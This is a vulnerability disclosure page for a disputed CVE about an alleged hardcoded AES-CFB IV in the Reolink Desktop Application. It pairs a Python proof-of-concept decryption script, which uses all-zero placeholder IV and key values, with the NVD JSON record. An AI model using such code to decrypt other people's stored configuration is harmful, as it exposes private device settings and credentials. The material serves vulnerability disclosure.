CVE-2025-56801

# CVE-2025-56801 PoC - Reolink Desktop Application AES-CFB Hardcoded IV # This PoC demonstrates how to decrypt configuration data using the hardcoded IV from Crypto.Cipher import AES import os import json def decrypt_reolink_config(encrypted_file_path, output_path): """ Decrypt Reolink Desktop Application configuration file using the hardcoded IV discovered in version 8.18.12 """ # The hardcoded IV extracted from the Reolink Desktop Application binary # This value is embedded in the application's encryption module HARDCODED_IV = b'\x00' * 16 # Placeholder - actual IV extracted from binary # Key derivation or extraction would be needed # In practice, the key may also be derivable from the application key = b'\x00' * 32 # AES-256 key placeholder try: with open(encrypted_file_path, 'rb') as f: encrypted_data = f.read() # Create AES-CFB cipher with hardcoded IV cipher = AES.new(key, AES.MODE_CFB, iv=HARDCODED_IV, segment_size=128) # Decrypt the configuration data decrypted_data = cipher.decrypt(encrypted_data) # Save decrypted configuration with open(output_path, 'wb') as f: f.write(decrypted_data) print(f"[+] Configuration successfully decrypted to {output_path}") return decrypted_data except Exception as e: print(f"[-] Decryption failed: {e}") return None def extract_iv_from_binary(binary_path): """ Extract the hardcoded IV from the Reolink application binary by searching for AES initialization patterns """ iv_patterns = [] try: with open(binary_path, 'rb') as f: data = f.read() # Search for potential 16-byte IV candidates # AES block size is 16 bytes for i in range(len(data) - 16): candidate = data[i:i+16] # Check if it looks like a potential IV (heuristic) if all(b != 0 for b in candidate) and len(set(candidate)) > 4: iv_patterns.append(candidate.hex()) print(f"[+] Found {len(iv_patterns)} potential IV candidates") return iv_patterns[:10] # Return top candidates except Exception as e: print(f"[-] Binary analysis failed: {e}") return [] if __name__ == "__main__": # Example usage print("CVE-2025-56801 PoC - Reolink Desktop Application") print("=" * 50) # Step 1: Extract IV from application binary # binary_path = "/path/to/Reolink.exe" # iv_candidates = extract_iv_from_binary(binary_path) # Step 2: Decrypt configuration # decrypt_reolink_config("config.enc", "config_decrypted.json") print("[*] See https://github.com/shinyColumn/CVE-2025-56801 for full details")

{"cve": {"id": "CVE-2025-56801", "sourceIdentifier": "[email protected]", "published": "2025-10-21T19:21:22.897", "lastModified": "2025-11-17T12:46:15.277", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "The Reolink Desktop Application 8.18.12 contains hardcoded credentials as the Initialization Vector (IV) in its AES-CFB encryption implementation allowing attackers with access to the application environment to reliably decrypt encrypted configuration data. NOTE: the Supplier's position is that material is not hardcoded and is instead randomly generated on each installation of the application."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:reolink:reolink:8.18.12:*:*:*:desktop:*:*:*", "matchCriteriaId": "30EFCAEB-546D-449F-A08D-360DFF9CE745"}]}]}], "references": [{"url": "https://github.com/shinyColumn/CVE-2025-56801", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://shinycolumn.notion.site/reolink-aes-iv", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}